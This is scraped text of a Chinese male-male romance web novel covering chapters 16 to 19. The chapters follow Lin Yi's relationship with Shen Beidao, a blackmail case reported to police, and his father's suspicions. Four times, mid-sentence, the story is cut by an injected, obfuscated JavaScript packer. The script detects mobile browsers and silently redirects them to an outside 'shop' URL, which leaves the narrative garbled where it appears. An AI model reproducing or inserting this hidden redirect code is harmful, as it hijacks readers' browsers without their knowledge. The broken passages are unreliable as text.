他明白了林逸这突如其来的“变脸”。 “我走了!下次见!”林逸拎着零食袋,进了单元楼,身影迅速消失在电梯厅的拐角,仿佛慢一秒就会被什么抓住似的。 沈北岛站在原地,没有立刻离开。 他的目光一直追随着那个消失的背影,直到确认那扇玻璃门没有再打开。 夜晚的微风拂过他额前的碎发,带来一丝凉意,也吹散了空气中残留的那抹令人心动的气息。 他脸上的温和与方才的纵容逐渐褪去,恢复了一贯的冷静,他掏出手机,拨通了一个号码。 电话接通后,“你好,我要报案,我被诈骗了。” “有人以照片作为威胁,让我给他转一百万……嗯,是的……已经转给他了……” * 林逸哼着歌,回到了他那间宽敞明亮,也因独自居住而显得有些过于整洁冷清的公寓。 他把零食袋随手扔在客厅柔软的地毯上,走进了浴室。 温热的水流冲刷着身体,也冲淡了刚才的小小悸动。 他心情颇佳,对着蒙上水雾的镜子,画了个大大的笑脸。 他想,遇到喜欢的,还真是世界都变得异常美妙…… 从浴室出来,头发还在滴滴答答地往下淌水,他只随意裹了件浴袍,露出精致的锁骨,随手拿起扔在床上的手机,屏幕亮起时显示着几条未读消息。 李锐【泽轩去美国了,我看他的朋友圈定位前几天就在那边】 李锐【他不是在苏城上学吗?怎么突然跑那么远?不会被骗去那边做什么违法的事吧?】 林逸皱了皱眉,张泽轩这小子,跑美国去了?他怎么一点风声都没听到?他点开了张泽轩的头像,进入他的朋友圈。 然而,映入眼帘的却是一条冷漠的横线。 “艹!”林逸忍不住低骂一声,“这货把我屏蔽了?” 他立刻截图了张泽轩那空空如也的朋友圈界面,发给李锐【他的朋友圈是这样的吗?】 李锐【是这样的[照片]】 照片里是张泽轩在时代广场咧嘴笑,另一张是在金门大桥前张开双臂,每一条定位都特别清晰,活脱脱一个享受假期的富家公子哥! 就在这时,张泽轩给他发了好几条消息,对话框开始疯狂弹出—— 张泽轩【逸哥!在吗?有急事!】 张泽轩【你爸刚才接到了警局的电话,现在急匆匆回去了,脸色不太对】 张泽轩【那什么,我说了你别生气啊,你爸这次……是带我出来出差的】 张泽轩【我本来不想告诉你的,想等把他们搅合黄了给你个惊喜的,但是现在情况紧急,我得提前告诉你】 林逸【?】 张泽轩【就刚才,那个小贱.货给你爸打电话,我凑巧听到了,他一直在哭,哭得上气不接下气,也不知道说了啥,你爸接完电话后可就着急了,订了最早的航班回去】 张泽轩【你最好赶紧回去拦着点!别哭着哭着,你爸心一软,真带他去国外登记结婚了!】 张泽轩的一连串 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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或许是看到谢醇瞬间苍白的脸色,警察又例行公事地补充了后续可能性:“不过,如果嫌疑人在后续司法程序中,能够积极退赃,并赔偿受害人的经济损失,可以被视为其认罪悔过的表现,法院在最终量刑时,会酌情从宽处理……” “好的,理解。”谢醇伸出手,接过了警察递来的部分证据资料复印件。 谢醇的目光透着一丝慌乱,他其实不明白杜小满为什么会去敲诈勒索? 直到他的视线定格在其中一张打印出来的照片上…… 那不是杜小满,也不是任何他以为的别人…… 照片上那个人,是他的儿子,林逸。 17. 第 17 章 警察:“而且,我们还在他的账户发现,几天前,一位女士也给杜小满的账户汇过一笔钱,你看,这个汇款人你认识吗?” 警察将一份银行回执单的复印件递给谢醇。 上面的汇款信息:「林泾芝 | 中国银行汇款 30,0000」 谢醇看着自己前妻的信息,忍着压抑的气息,看向对面的警察:“请问,我现在可以见见杜小满吗?” 警察:“可以,稍后,你跟当事人委托的律师交流。” 话音刚落,一位身着西装的律师便走了进来。 谢醇几乎是在律师站定的瞬间,重复了刚才的问题,语气带上了一丝急切:“你好,能否方便见一面当事人?” 律师脸上是标准的职业化微笑,带着疏离的歉意:“抱歉,先生,当事人之所以报案,是因为受到了威胁,情绪不太稳定。他全权委托我与您沟通后续事宜。” 站在询问室门口的沈北岛,将林逸父亲这略显失态的急切尽收眼底。 他有些无奈地摇了摇头,眼眸中掠过一丝复杂。 这位父亲,似乎总是更在意那些“外人”的感受,无论是这个来历不明的杜小满,还是他这个连面都不愿露的“当事人”。 …… 晚上7:00 公司附近的一家小饭店内。 张泽轩小声对林逸说:“……当时谢叔不让我跟着,我就听到了电话里说,我们是警察局的,杜小满托我们联系你,他涉嫌敲诈勒索……然后,谢叔就出去接电话了。” “那他敲诈勒索的是谁?”林逸夹了一筷子菜,看向了张泽轩。 “我猜跟公司有关系,明天我们上班的时候问问同事。” 张泽轩凑近了些,语气夸张,“不过啊,你等会跟谢叔打个电话,可得提点着点,可别一觉醒来,你多个比你还小的二爸!” 林逸的眉头皱得更紧了,他放下筷子,审视着张泽轩:“那你什么时候给他当助理的?” 张泽轩的眼神开始闪躲,他手忙脚乱地打开一罐啤酒,给自己的酒杯倒满,然后仰头一口干了,这才说:“就……就跟你吃完饭第二天!我那不是看杜小满那个小贱货欺负你么,咽不下这口气,就想办法跟着谢叔,使劲搅和他们!” “你猜后来怎么着?有一天那小贱货急了,用这么大的啤酒瓶砸我!”他比划着,双手夸张地画了一个圈。 “他还敢对你动手?!”林逸立马站了起来。 “哎哎哎,你先坐下!” 张泽轩连忙把他拉回座位,“没事,没事,幸亏我当时跑得快没砸到,然后……谢叔大概觉得他太冲动,就让他留在公司,不让他跟去美国出差了。” 林逸沉默了,短暂的安静后,他勾了勾手指:“张泽轩,你这事干得不错,以后我爸那里就靠你盯着了。” 林逸脸上露出赞许的神色,“我怎么没发现你有时候还挺能忍的,如果你当时跟他打起来,我爸肯定会让你也反省,你别看他一副文绉绉的样子,谁要敢跟他来硬的,后果很严重。” 张泽轩像是突然领悟了什么:“奥~~原来是这样……” 他连忙给林逸倒满酒,“来,逸哥,喝一个。” “不喝了。”林逸推开酒杯,“我等会还有事,你慢慢吃,这顿我请客。” 他说着起身去买单,手机这时候响起,他看了一眼,边接电话边对张泽轩挥了挥手,示意先走。 张泽轩看着一桌子没怎么动过的菜,觉得不该浪费,掏出手机拨通了李锐的电话:“喂,锐锐?有空吗?过来吃饭……” ...... 饭店一公里外,沈北岛的车安静地停在路边树木的阴影里。 位置是林逸发的定位。 他谈男朋友的事暂时还不想让朋友们知道,一方面是,关系尚未稳定觉得没必要正式公开,另一方面,沈北岛也未曾带他见过自己的朋友,他若过于主动,反而显得急于想要确定什么。 中午,沈北岛从警局出来后,又连续上了一下午的德语公开课,再加上前一夜因报案配合警察做笔录,几乎没合眼。 此刻他靠在驾驶座上,眉宇间带着难以掩饰的疲惫,深邃的眼眸之下透着淡淡的青影。 林逸小跑过来,胳膊肘趴在主驾车窗边,一眼就看出了他的状态不太好。 “沈大帅哥,这是昨晚通宵打游戏了?脸色这么差?” “没有,我不玩……” 沈北岛一时没反应过来自己还顶着“游戏网友”的身份,差点脱口说出「我不玩游戏」这种随机掉马的话。 “不玩什么?”林逸歪着头,那双清澈的眼睛在路灯下过分好看,有些执着地等着他的回答。 沈北岛:“不玩……马可波罗了。” “嗯?”林逸挑眉,“你之前不是最喜欢玩这个英雄了?” “腻了。”沈北岛语气平淡,“最近练习了新的角色,比他厉害。” 林逸来了兴致:“那我今天可要看看有多厉害。” 他绕到副驾驶,拉开车门,坐了进去。 车辆刚刚启动,缓缓驶离路边。 不远处,李锐正好路过,他看到一辆有些眼熟的车,走近一看车牌尾号6711,正是他导师沈北岛的车。 他刚想上前打个招呼,车子却恰好汇入车流,只留给他一个渐行渐远的尾灯...... * 回到沈北岛家中,暖色的灯光驱散了秋夜的微寒。 这是林逸第二次来这里,他一眼就看到了玄关处摆放着一双崭新的小兔子耳朵的棉拖鞋,显然是专门为他准备的。 沈北岛径直走向开放式厨房的中岛吧台,给他倒了一杯温热的红茶,递过去:“今天有些冷,喝点暖暖身体。” 林逸接过来,发现是一个印着卡通兔子图案的玻璃杯,和他家里那些沈北岛用的极简风格玻璃杯截然不同。 “你的杯子?”他有些惊喜地问。 “不是,”沈北岛看着他,“知道你今天来,特意买的新杯子。” “哦……”林逸脸上闪过一丝小小的失落,原来不是沈北岛常用的,“我还以为是你的呢。” 他喝了一口,看着杯子上“小兔子抱着啃胡萝卜”的图案,“你怎么这么喜欢小兔子?” “嗯,因为很喜欢,所以特别想要养一只。” “可是小动物都很难照顾的。” “难照顾吗?我看你什么都吃,还挺好养活的。” 林逸愣了一下,想到自己经久不变的网名「不讲兔德」,忽然明白沈北岛说的“这只兔子”似乎是他自己。 林逸临时暗爽:这么喜欢我么,连生活用品都买兔子款的……真是恋爱脑,没救了●v●~ 沈北岛:“浴巾,毛巾,睡衣,都准备好了,都在浴室旁边的收纳柜上,等会你去洗澡,我给你做点吃的。” “我吃过了。”林逸老实地回答,随即反问,“你吃过了吗?” “嗯,今天课多有些忙,所以晚上在食堂吃了。” “那……”林逸捧着温暖的卡通杯子,声音忽然变得有些支支吾吾的,眼神开始飘忽不定。 “嗯?”沈北岛的心跳莫名地随即加速,他看着林逸微红的脸颊和略显躲闪的眼神,某种暧昧的期待在空气中悄然滋生。 其实,关于亲密行为所需的同志用品,他也悄悄备好了,此时放在卧室床头柜的抽屉里。 如果林逸真的想…… “那别磨蹭了!”林逸忽然放下杯子,一把拉住他的手腕,将他带到客厅沙发旁,“我们赶紧干正事吧!” 沈北岛被他按坐在柔软的沙发上,心脏几乎要跳出胸腔,却还是保持成熟男人最后的理智,问他:“你喜欢在这里?” 说实话,沈北岛有些意料之外。 如果,他们的第一次是在沙发上,似乎太过……开放了些。 床上至少还有被子可以遮掩,能维护些许敏.感小兔子的小小隐私。 “当然啦!”林逸点头,脸上洋溢着兴奋,“我喜欢躺在沙发上玩!” 说着,他自己也瘫进沙发里,找了个舒服的姿势,将头靠在沈北岛的腿上。 沈北岛:……玩?他跟我只是玩? 还是别的什么? 他还没来的及思索这句话更深层次的意思,难以言喻的失落感瞬间冲散了他刚才的紧张与期待…… …… 「欢迎来到王者荣耀」 「大小姐驾到,通通闪开!」 「来一发吗?满足你!」 熟悉的游戏音效瞬间充斥了整个客厅,将他们拉入了有趣的王者峡谷。 林逸熟练地操作着角色,抽空看了一眼沈北岛的手机屏幕:“你最近喜欢玩「镜」吗?” 沈北岛拿着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804014|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,瞥了一眼身边神情专注的,仿佛要上战场的林逸,低低应了一声:“嗯。” 因为时间紧迫,他只有三天时间来练习并熟练一个英雄。 “这个我还没玩过。”林逸一边说着,一边打开语音,熟练地指挥着队友。 过几秒,又关闭对话按钮,不耽误跟沈北岛聊天:“哎,最近太忙了,明天还要去上班,玩游戏的时间都少了。” “以后你想玩,我陪你。” ……… 【Victory!】 随着激昂的胜利音效响起,林逸还沉浸在刚才最后一波团战的震撼中。 他眼睁睁看着沈北岛操作的「镜」,如同鬼魅般从红buff区起手,身形化作道道残影,技能的光效眼花缭乱,只短短几秒,不仅拿下了「龙」,更是在敌方五人围剿中不断穿梭,完成了一波行云流水的五连绝杀!最后推平了敌方水晶! 林逸彻底傻了,手机都差点掉在地上。 他缓缓转过头,像看怪物一样看着身边面色平静无波的沈北岛,声音都变了调:“……你怎么做到的?” 沈北岛放下手机,语气平淡:“技能3A323A31,练成肌肉记忆。” “这就行了?”林逸不敢置信。 “嗯。”沈北岛点头,“很简单。” 林逸立刻像只被逗猫棒吸引的小猫,一屁股蹭到他身边,亮亮的眼眸里全都是崇拜:“你教教我呗?刚才真的帅到我了!” 沈北岛:如果我们刚才不是在打游戏,或许你会觉得我更厉害。 就在这时,沈北岛的手机响了起来,屏幕上跳动着陌生的号码。 他看了一眼,对林逸说:“等会,我接个电话。” 他起身走到阳台,通话时间不长。 但回来时,脸上已没了之前的松弛,“抱歉,我有点急事需要立刻出门处理,你如果困了就先睡。” “……好,你去吧。”林逸没有多问,他猜测可能是工作上的急事,如果他过于婆婆妈妈,反倒是管得有些多了。 管的多了,会惹人烦。 但沈北岛这一出门,直到第二天早上,才带着一身晨露的微凉回来。 沈北岛所住的这个高档小区,就在林逸入职公司所在的写字楼的马路对面。 林逸洗漱完毕准备去上班,“我给你做了早餐。” 林逸指了指餐桌,然后在沈北岛带着疲惫的脸上亲了一下,“记得吃。” 沈北岛拉住他的手腕,声音有些沙哑:“晚上还回家吗?” 那个“家”字,沈北岛说出的时候,带着点小心翼翼。 林逸:“那要看这家的主人想不想我来了?” 沈北岛立刻明白了他的言外之意,紧绷的心弦像是被轻轻拨动了一下,泛起涟漪,“那我晚上去接你。” 送走林逸,沈北岛走到餐桌前,看着那碗方便面,还有上面那个形状歪歪扭扭努力拼成爱心的煎蛋,终是忍不住笑了。 一夜奔波的疲惫仿佛也被这简单的温暖驱散殆尽。 …… 林逸刚到公司工位,就被不知从哪儿冒出来的张泽轩拉进了隔壁的小办公室。 “你看我发现了什么!”张泽轩反锁上门,掏出手机,调出几张照片。 “刚才我去打印机那边打印东西,打印机昨晚坏了,今天早上师傅刚修好,结果打出了昨天没有打出来的文件。” 林逸接过手机,指尖滑动屏幕。 这是几份「贫困山区助学资助名单」的表格和资助协议文件。 林逸滑到最后一张,看到签名区域写着「谢醇」 “我爸他一直在做公益吗?” 这似乎有些颠覆他对那个专注于商业利益父亲的认知。 “重点不是做公益!” 张泽轩急切地用手指戳着手机屏幕,放大其中一部分,“你看这个人员名单,还有对应的日期……这里,这个名字。” 林逸顺着他指的地方看去—— 【杜小满】 林逸仔细看旁边的日期记录。 谢醇资助这个名叫杜小满的学生,从初中到大学,时间跨度长达十年。 “而且啊……”张泽轩压低声音,凑到林逸耳边,“一大早,那个虞总监进了你爸办公室,这都俩小时了还没有出来!肯定是查到了什么关键信息,我猜跟杜小满脱不了关系!” 18. 第 18 章 谢醇办公室里。 黑檀木办公桌上,散落着几张照片。 照片上,林逸坐在副驾,一个模糊的男性轮廓靠近他,从背影看像是在接吻。林逸的脸露出了三分之二,在昏暗光线下依旧能辨认出是他。 只是,这几张照片的光线有些暗,加上那辆迈巴赫前挡风玻璃特有的防窥属性,使得靠近林逸的那个男人,仅仅呈现出一个模糊的后脑勺,根本无法判断身份。 其中一张照片,清晰地拍到了这辆迈巴赫的车牌号。 虞枫将一份文件轻轻放在谢醇面前,语气带着罕见的谨慎:“谢总,这辆迈巴赫登记在一家德国医药代理公司名下,因为涉及跨国调查,信息可能会有一些误差,所以您听了之后……还请稍安勿躁。” 跟了谢醇近七年的虞枫,还是头一次看到他这位冷静的上司,脸上浮现这么久的迟疑情绪。 谢醇眉头微皱,声音里带着强装镇定下的调侃:“怎么?难不成我儿子谈的这个是德国总.理吗?值得你这么支支吾吾。” 虞枫略显尴尬地轻咳一声:“那倒不至于。从年龄上说,比现任德国总理还是……小一点的。” “什么意思?”谢醇开始有点不淡定了,“难不成真是什么了不得的大人物?他能有这本事?” “是年龄,比总理小一点,但是……”虞枫又咳了一声,似乎有些难以启齿。 “比您……还要大一些……这是那家医药代理公司的法人基本信息。” 谢醇几乎是抢过那叠资料。 第一页满是密密麻麻的德文,如同天书。 他迅速翻到第二页,中文翻译如下: 【法人:沈益忠】 【公司名称:Minghui MediLogix Pharma Solutions】 …… 虞枫在一旁补充道:“跨国调查阻力不小,目前能确认的是,这个叫沈益忠的人是一名医生,今年58岁…… 具体在哪家医院任职不详,两个月前有一次入境记录,根据有限的行程信息推断,他大概一两年回来一次,应该是长期定居在德国柏林。” 58岁!! 谢醇像是突然被抽干了力气,一下跌坐回皮质座椅里,脑海中一片混乱: 难道林逸是因为从小缺少父爱,心理出现了偏差,所以才找了一个足以当他父亲的男人? 什么时候开始的?怎么没听他说过?怪不得我无论怎么询问律师,那位当事人始终不肯见面,原来是不想露面。 他这么一想,杜小满竟然敢去敲诈勒索一个“半身快要入土”的资本家,真是自不量力。 虞枫看出了谢醇的担忧,低声建议:“谢总,不然我把林逸叫进来吧?小孩嘛,青春期叛逆,一时走错了路,您好好引导引导。” 谢醇疲惫地闭上眼,几秒后又睁开,喉结滚动了一下,发出一个短促的音节:“嗯。” 没过多久,办公室门外响起一阵故作响亮的敲门声。 紧接着,林逸那刻意拔高的,足以让门外开放式办公区员工都能听到的声音传了进来:“谢总,您找我!” “啪”的一声,门被关上。 刚才还一副恭敬模样的林逸,瞬间原形毕露,像只没骨头的猫,一屁股瘫倒在真皮沙发上,姿态吊儿郎当,浑身上下都写着:对谢醇因杜小满的事连夜从美国飞回来的强烈不满! “找我什么事儿啊?我今天第一天上班,日理万机,忙着呢!” 谢醇沉默地审视着他的儿子。 林逸今天穿了一件扎眼的墨绿色皮夹克,腰间的宽皮带上挂着一长串金属流苏,随着他的动作叮当作响。 下身是错落剪裁的破洞长裤,勾勒出利落腿型,林逸没打算摘下那顶牛油果色的棒球帽,帽檐压得略低,遮住了部分眉眼,却遮不住那份蓬勃的年轻气息。 谢醇心中五味杂陈:不愧是我谢醇的儿子,天生丽质,又是学艺术的,这穿搭……多么特立独行,多么具有冲击力! 那些循规蹈矩的老男人,哪里见过这么有活力的小朋友?肯定会被我儿这截然不同的气质吸引,喜欢得不得了。 平时给他的零花钱也不少,他找个年纪这么大的,总不可能是为了钱吧? 难道……难道真的是因为他小时候我忙于事业,对他缺少陪伴和关爱,才导致他…… 林逸被他爸那复杂难辨又有几分杀气的目光看得心里发毛,站起身:“你要是没啥事,我先出去忙了。” 话落,他抬脚往门口走。 “你给我坐下。”谢醇站起身,声音因烦闷而显得有些突兀。 林逸吓了一跳:“……还有事吗?” 说话语气有点重了,谢醇严肃的脸上快速挤出一个“和蔼”的笑容:“爸爸好久没跟你好好谈心了,你坐,我们随便聊聊。” “谢总,现在是在公司,公私分明,您还是别自称爸爸了。”林逸嘴硬地反驳,故意在称呼上划清界限。 谢醇也不生气,他最善用迂回战术。 他从林逸的学业问起,聊到他对未来的职业规划,最后……话题有目的地绕到了感情问题上。 果然,谢醇问他“谈没谈男朋友”时,他捕捉到林逸脸上那一闪而过的不自然。 这细微的表情变化迫使谢醇的心瞬间凉了半截,不过,他依旧维持着作为父亲的耐心,循循善诱道:“小逸啊,这老话说得还是有道理的,选择人生伴侣,最好还是找年龄相仿的。” “毕竟……五岁一个小代沟,十岁就是一个大鸿沟,要是差……三十多岁,那简直比马里亚纳海沟还要难以跨越,真的不太合适……” 林逸觉得他爸今天奇奇怪怪的,说话前言不搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16804015|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后语,最后还随机考问他地理知识?简直是莫名其妙! 林逸:“您还知道啊,我以为您不知道呢,您都四十好几了,人家杜小满比我还小一岁,照您这理论,你们之间的鸿沟,怎么也得是仅次于马里亚纳海沟的……楼下那条臭水沟吧?” 谢醇:“……” 他故意用挑衅的语气问道:“谢总,您觉得,你们合适吗?” ...... 聊天聊到这,彻底宣告失败。 整个下午,林逸都能感觉到一种无形的注视。 谢醇表面上是在进行资本家对全公司的巡视,但那目光总若有似无地扫过他所在的工位,仿佛是在专门监视他一个人。 不过,这种压抑的氛围在临近下班时得到了缓解。 虞枫跟着谢醇匆匆离开了公司,张泽轩也跟上了,他及时跟林逸汇报了行程,说是去见一个重要的客户。 到了下班点,林逸撒腿就跑。 他的心早已飞到了楼下。 细雨蒙蒙中,他刚出大厅,一眼就看到了站在公司门口路灯旁的那个身影。 由于公司离家近,沈北岛便没有开车,独自撑着伞步行而来。 绵绵的夜雨如丝如雾,在昏黄路灯下交织成一片朦胧发光的雾霭。 沈北岛撑着一把黑色的伞,一身黑色风衣融进夜色,唯有肩头落下些许湿润的流光,衬得他身形修长……不过,依旧很像是等主人下班的杜宾犬。 林逸一眼就看见了他。 甚至不等他走过来,冲进了细密的雨丝里。 他小跑着,迫不及待地扑向那个为他张开的怀抱。 不小心把雨伞撞到了地上,微凉的雨水瞬间沾湿了他的发梢和肩头,却丝毫冷却不了他心上的炽热。 林逸仰起脸,眼睛里盛满了星光和思念:“一天不见,好想你啊,男朋友。” 沈北岛将带着微凉水汽的青年更紧地拥入怀中,伞面微微倾斜,为他隔绝了所有的风雨。 他低下头,目光温柔,低沉回应落在林逸耳畔:“我也是,我们回家?” “那快走,今天还有点冷。”他说着顺势躲进沈北岛的怀里。 …… 房门在身后合拢,将雨夜的微凉隔绝在外。 未来得及开灯的玄关一片黑暗,只有窗外渗入的路灯光晕,勾勒着彼此急促的轮廓。 被撞落的黑伞孤零零地躺在一旁,没人顾得上将它收拢。 沈北岛将他压上微凉的门板,一手紧扣他的腰肢将林逸嵌入怀中,另一只手急切地插入他微湿的发间,下一秒,滚烫的唇舌凶悍地覆了上来…… 这个吻不算温柔,引的林逸闷哼一声,呼吸被突然掠夺,炽烈的交.缠,被迫溢出湿润的水声…… 沈北岛的呼吸荡漾在林逸的耳边,压抑道:“现在还冷吗?” 19. 第 19 章 林逸喘息着汲取氧气,唇上还沾着两人交缠的水光,他的身上仿佛被沈北岛的气息笼罩,迫使身体的某个角落肆意燃烧着飘荡的火苗,他轻声嘟囔:“头发湿了,还是……” 还是冷,这三个字未能说完。 沈北岛滚烫的唇再次覆下,截断了所有言语。 他手臂收紧,将人更深地搂进怀里。 大衣之下是柔软的毛衣,隔着两层衣物,两颗心脏剧烈跳动,摩擦生热,几乎要灼伤肌肤。 林逸的手指无意识地攥紧了沈北岛脑后的发丝,他想展现自己游刃有余的一面,却发现此时此刻,必须微微踮起脚才能维持这个姿势。 哎!谈一个高自己十公分的男朋友,接吻都像是在跳芭蕾。 沈北岛感受到了林逸的主动贴近,原本缱绻的厮磨,渐渐变成了带着点狠劲的相互汲取,撕咬。 仿佛只有通过这样细微的痛楚,才能确认彼此的存在,宣泄无处安放的在意。 “嗡嗡嗡——” 手机震动声突然响起,打破了这一室迷惘。 沈北岛微微睁开眼,看着怀中情动的小孩。思考,为什么他身上总是带着好闻的气息? 有时是淡淡的奶香,有时是清甜的香草,此刻是一种说不出的,甜腻勾人的味道...... 林逸觉察到了他的分神,缓缓睁眼,稍稍推了他一下,然后用手背抵住自己红肿的唇,声音含含糊糊的:“你先接电话,响了好久了。” “不用管。”沈北岛的手指摩挲着他的下颌,还想继续纯情地吻。 林逸却偏头躲开,耳根红得像是刻意被捏过,再这么下去怕是要出事。 林逸躲闪地说:“被打扰了,没兴致了……你先接。” 沈北岛听命的从衣袋里拿出手机,眼眸却依旧留恋在林逸的脸上。 林逸踮脚瞥见屏幕,好像是一串德语字符,号码开头是 +49 30 12..... 不是国内的电话。 看着林逸好奇又强装不经意的模样,沈北岛唇角勾起一抹得意的弧度。 他松开揽在腰侧的手,转而自然地,带着点惩戒意味地轻拍了一下林逸的臀尖,用眼神示意他去客厅。 “嗯?Julian。” 他接起电话,手臂却依旧占有性地环着林逸的肩,将人半拥在怀里往客厅带。 听筒传出热情的德语:“Lindw, lange nicht gesehen, was hast du in letzter Zeit so getrieben?”(Lindw,好久不见,最近在忙什么?) 沈北岛:“beschaftigt.”(在忙) 他从柜子里取出干净的浴巾,一边听着电话,一边开始为林逸擦拭微湿的头发。 林逸想自己来,却被他轻轻挡开。 “坐好,我来。” 他让林逸在沙发上坐下,随手按下手机免提,然后双手用浴巾包裹住那颗不安分的脑袋,动作轻柔得像对待刚掉水里被捞上来的小狗子。 “Lindw, was ist das für ein Gerausch? Du bist immer noch so witzig……Was hast du denn so lange gemacht, bevor du ans Telefon gegangen bist?” (Lindw,什么声音……你还是这么幽默,到底在干什么这么久才接电话?) 沈北岛低下头。 此刻,他们的目光在空中交缠,沈北岛深邃的眼底像是融化的黑巧克力,浓郁之下,带着毫不掩饰的宠溺和占有…… 林逸仰着脸,眼睫还沾着接吻后的湿气,眸光水亮,虽带着点羞赧,却也大胆地迎接着这份欣赏。 空气中仿佛有无形的丝线,将两人的视线缠绕,他们各自明白心意,却也谁都没有开口。 “Lindw, horst du zu?”(Lindw, 你在听吗?) 沈北岛沉声回应,目光却未从林逸脸上移开半分:“……Bin mit Dates besch??ftigt.”(……忙着恋爱) “Was?! Du bist verliebt?! Echt jetzt?! Oh mein Gott! Was für eine Frau ist sie denn? Sexy, kurvenreich oder eine reife Frau...?” (什么!你恋爱了!真的假的?我的天!是什么样的女人?性感的还是丰满的,或者是御姐……) 沈北岛:“Mann”(男人) 那边的声音充满了震惊:“Was?! Ein Mann? Ein Kerl?!Lindw, Mein Gott, was sagst du da?......” (什么?!男的?男人?天呐,Lindw, 你在说什么?......) 就在那声“Mann”脱口而出的瞬间,沈北岛没有丝毫回避,反而像是急于验证什么,猛地伸手扣住林逸的后颈,不容拒绝地吻了上去。 “呜——” 林逸猝不及防,所有惊呼被尽数堵回喉咙。 听筒里还隐约传来德语的质疑,而电话这边,他们正被卷入一场无声的缠绵。 羞耻感如电流窜过脊椎,却奇异地混合着难以言喻的刺激,逼.得林逸眼角泛红,只能从喉间溢出几声压抑的哼哼。 他用手抵住沈北岛的胸膛想要推开,却被搂得更紧,吻得更深。 直到,沈北岛稍稍退开些许,气息微乱,眼底化为深沉的“暗火”。 他没想到这只平时温顺的兔子,在羞急之下力气竟然不小,在他的脖子上抓出了几道红痕。 但他并不恼怒,只是用指腹轻轻抹过林逸湿润的唇角,随即重新将手机举到耳边,声音还带着一丝未褪的沙哑,对电话里的人说:“Sonst noch was? Julian, ich bin gerade auf einem Date.” (还有其他的事吗?Julian,我现在在约会) “Es ist nichts Dringendes, aber... konnten Sie meine Frage von vorhin beantworten? Stimmt das?” (也没什么急事,只是……你回答我刚才的问题,是真的吗?) “Okay, Julian, ich rufe dich en zurück. Tschüss!” (好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16804016|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,Julian,我明天回给你,拜) 沈北岛紧急挂断电话,指尖触到林逸的后颈,分明脸颊是热的,但那里却一片冰凉。 沈北岛:“你先去洗个热水澡,刚才淋了雨,会着凉。” 但林逸已经完全走不出来了,他陷入了刚才未尽的缠绵之中,看着沈北岛的脖子上多了两道爪痕,有点不好意思,但绝对不会道歉地说:“我不......你给我暖暖,就不冷了。” 林逸眼巴巴地望着他,手臂环住沈北岛紧实的腰身,然后他的小脸埋进他散发着温热体温的小腹处,贪婪地汲取着暖意,“这样抱着就很好。” 洗澡,一个人洗澡有什么意思。 林逸想和沈北岛一起洗,但是这个念头太过羞耻,他们之间的关系还没有跨越那重要的一步。 林逸又觉得沈北岛的身体像是火炉,似乎比洗澡更立竿见影。 沈北岛没想到今天的他这么黏人,他坐到了林逸的旁边,顺势将人揽入自己的怀里,将沙发上的毛毯裹到了他的身上,“这样好些了吗?” 林逸的头靠在沈北岛的胸膛上,听着那里掷地有声的心跳声,原本被白色毛毯包裹住的小头从里面钻出来,望着沈北岛线条分明的下颌:“刚才你说的是德语吗?” “嗯。”沈北岛低声回应。 他被林逸不安分蠕动的身体挤到了沙发的角落。 这沙发是设计款的流线型,呈现S状,对于腿长的沈北岛来说有些过于窄小。 他的双腿无处安放,只好手臂搭在沙发靠背上,形成一个充满力量感的庇护姿态,为怀里的人提供着支撑。 林逸的腿不经意地蹭过他,“刚才那个人是谁?” “我在柏林的朋友,也是大学同学。” “哦——”林逸拖长了音调,假装随意地问,“那他喜欢女人还是男……” “他结过婚了,孩子都三岁了。”沈北岛低笑出声,看穿了他的小心思。 林逸一时语塞,感觉自己像个乱吃醋的小气鬼,连忙转移话题:“那听你们打电话……你德语还挺好的,听上去很专业,我是因为听不懂什么意思,所以才……问问。” 沈北岛“慈爱”地看向他,充满了成熟男人洞悉一切的玩味,以及浓得化不开的欲望,他默不作声,眼底的笑意流转。 “你倒是说句话啊,怎么聊天让别人把话掉地上。” 林逸坐直身体,想从他怀里挣脱。 “你想听什么?”沈北岛立刻靠近,欺身压下,用手臂将他重新禁锢在沙发与自己胸膛之间,他俯身,温热的唇瓣轻轻地擦过林逸耳廓,低沉磁性的嗓音混合着滚烫的呼吸,灌入林逸的耳中: “Bist du eifersüchtig?” 